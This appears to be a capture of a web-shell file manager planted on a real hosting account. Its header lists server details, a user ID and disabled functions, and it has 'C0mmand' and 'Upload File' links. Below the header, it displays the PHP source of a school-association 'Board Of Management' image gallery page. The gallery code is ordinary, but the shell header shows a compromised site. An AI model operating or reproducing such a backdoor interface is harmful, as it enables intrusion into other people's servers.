|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.108 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/test/cgi-bin/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require 'admin/connectivity/config.php';
// Fetch all sections
$stmt = $pdo->query("SELECT * FROM sections ORDER BY created_at DESC");
$sections = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>Board Of Management</title>
<meta name="robots" content="noindex, follow" />
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Favicon -->
<link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.png">
<!-- CSS (Font, Vendor, Icon, Plugins & Style CSS files) -->
<!-- Font CSS -->
<link rel="preconnect" href="https://fonts.googleapis.com/">
<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:ital,wght@0,300;0,400;0,700;1,400;1,700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,400;1,500;1,600&display=swap" rel="stylesheet">
<!-- Vendor CSS (Bootstrap & Icon Font) -->
<link rel="stylesheet" href="assets/css/vendor/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/vendor/font-awesome.min.css">
<link rel="stylesheet" href="assets/css/vendor/dlicon.css">
<!-- Plugins CSS (All Plugins Files) -->
<link rel="stylesheet" href="assets/css/plugins/swiper-bundle.min.css">
<link rel="stylesheet" href="assets/css/plugins/animate.css">
<link rel="stylesheet" href="assets/css/plugins/aos.css">
<link rel="stylesheet" href="assets/css/plugins/odometer-theme-default.min.css">
<link rel="stylesheet" href="assets/css/plugins/ddbeforeandafter.css">
<link rel="stylesheet" href="assets/css/plugins/magnific-popup.css">
<!-- Style CSS -->
<link rel="stylesheet" href="assets/css/style.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
.image-gallery {
display: flex;
flex-wrap: wrap;
gap: 10px; /* Adjust the gap between images as needed */
}
.image-wrapper {
width: 300px; /* Adjust this width to your desired thumbnail size */
height: 200px; /* Adjust this height to your desired thumbnail size */
overflow: hidden; /* Ensure images do not overflow */
}
.thumbnail {
width: 100%;
height: auto;
object-fit: cover; /* Maintain aspect ratio and cover container */
}
td{
padding-right:20px;
}
</style>
</head>
<?php include 'header.php'; ?>
<!-- breadcrumb area -->
<div class="breadcrumb-area breadcrumb-padding bg-img" style="background-image:url(assets/images/bg/bg-2.jpg)">
<div class="container">
<div class="breadcrumb-content text-center">
<h2 style="color: #ED7A4B;">HOME</h2>
<ul>
<!--<li><a href="index.php">Home</a></li>-->
<!--<li><i class="fa fa-angle-right"></i></li>-->
<li style="color: #ED7A4B;">BOARD OF MANAGEMENT</li>
</ul>
</div>
</div>
</div>
<!-- Project area -->
<!--<header style="color:#3EA6D2;margin-top:5%;margin-left:5%;font-size:25px;"><b>97th meeting of the Board of Management of APCA, Vellore is conducted on 28th August 2019 at APCA, Vellore.</b></header>-->
<!--<div class="section section-padding" style="margin-top:-5%;">-->
<!-- <div class="container">-->
<!-- <div class="row row-cols-lg-3 row-cols-md-2 row-cols-sm-2 row-cols-1 mb-n6">-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!--<a href="blog-details.html"><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>January 3, 2021 /</li>-->
<!-- <li><a href="#">Interior</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">This blog provides interior design tips.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>February 7, 2021 /</li>-->
<!-- <li><a href="#">Building </a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html"> Focussed on designing new homes.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>September 5, 2021 /</li>-->
<!-- <li><a href="#">Architecture</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">Suggest way to decoration work place.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>January 3, 2021 /</li>-->
<!-- <li><a href="#">Interior</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">Advantage Interior Design</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>February 7, 2021 /</li>-->
<!-- <li><a href="#">Building </a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">The Collective Interior Design</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>September 5, 2021 /</li>-->
<!-- <li><a href="#">Architecture</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">Interior Decor Ideas.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>January 3, 2021 /</li>-->
<!-- <li><a href="#">Interior</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">My House Decorating Ideas.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>February 7, 2021 /</li>-->
<!-- <li><a href="#">Building </a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">Fabulous Living Room</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- <div class="col mb-6">-->
<!-- <div class="blog-wrap">-->
<!-- <div class="blog-img mb-2">-->
<!-- <a href=""><img src="assets/images/blog/img1.webp" alt=""></a>-->
<!-- </div>-->
<!-- <div class="blog-content">-->
<!-- <div class="blog-meta">-->
<!--<ul>-->
<!-- <li>September 5, 2021 /</li>-->
<!-- <li><a href="#">Architecture</a></li>-->
<!--</ul>-->
<!-- </div>-->
<!--<h3><a href="blog-details.html">Suggest way to decoration work place.</a></h3>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!--<div class="pagination-style mt-lg-9 mt-md-7 mt-5">-->
<!-- <ul>-->
<!-- <li><a class="active" href="#">1</a></li>-->
<!-- <li><a href="#">2</a></li>-->
<!-- <li><a href="#">3</a></li>-->
<!-- <li><a class="next" href="#"><i class="fa fa-angle-double-right "></i></a></li>-->
<!-- </ul>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<div class="container mt-5">
<!--<h1>Gallery</h1>-->
<?php foreach ($sections as $section): ?>
<div class="card mt-3">
<div class="card-header">
<!--<table>-->
<!-- <tr>-->
<!-- <td><h3><?php echo htmlspecialchars($section['title']); ?></h3></td>-->
<!-- <td><?php echo htmlspecialchars($section['category']); ?></td>-->
<!-- <td><?php echo htmlspecialchars($section['description']); ?></td>-->
<!--<p></p>-->
<!--<p></p>-->
<!-- </tr>-->
<!--</table>-->
<header style="color:#3EA6D2;font-size:25px;"><b><?php echo htmlspecialchars($section['title']); ?></b></header>
<p><?php echo htmlspecialchars($section['category']); ?></p>
<p><?php echo htmlspecialchars($section['description']); ?></p>
</div>
<div class="card-body">
<div class="row">
<?php
// Fetch images for the current section
$stmt = $pdo->prepare("SELECT * FROM images WHERE section_id = :section_id");
$stmt->execute(['section_id' => $section['id']]);
$images = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?php foreach ($images as $image): ?>
<div class="col-md-3 image-gallery">
<div class="img-thumbnail image-wrapper">
<img src="admin/connectivity/<?php echo htmlspecialchars($image['image_path']); ?>" alt="Image" class="img-fluid">
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<!-- Footer area -->
<?php include 'footer.php'; ?>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script>
<!-- JS Vendor, Plugins & Activation Script Files -->
<!-- Vendors JS -->
<script src="assets/js/vendor/modernizr-3.11.7.min.js"></script>
<script src="assets/js/vendor/jquery-3.6.0.min.js"></script>
<script src="assets/js/vendor/jquery-migrate-3.3.2.min.js"></script>
<script src="assets/js/vendor/bootstrap.bundle.min.js"></script>
<!-- Plugins JS -->
<script src="assets/js/plugins/swiper-bundle.min.js"></script>
<script src="assets/js/plugins/hoverparallax.min.js"></script>
<script src="assets/js/plugins/scrollup.js"></script>
<script src="assets/js/plugins/odometer.min.js"></script>
<script src="assets/js/plugins/ddbeforeandafter.js"></script>
<script src="assets/js/plugins/magnific-popup.js"></script>
<script src="assets/js/plugins/imagesloaded.js"></script>
<script src="assets/js/plugins/isotope.js"></script>
<script src="assets/js/plugins/aos.js"></script>
<script src="assets/js/plugins/sticky-sidebar.js"></script>
<script src="assets/js/plugins/ajax-mail.js"></script>
<!-- Activation JS -->
<script src="assets/js/main.js"></script>
</body>
</html>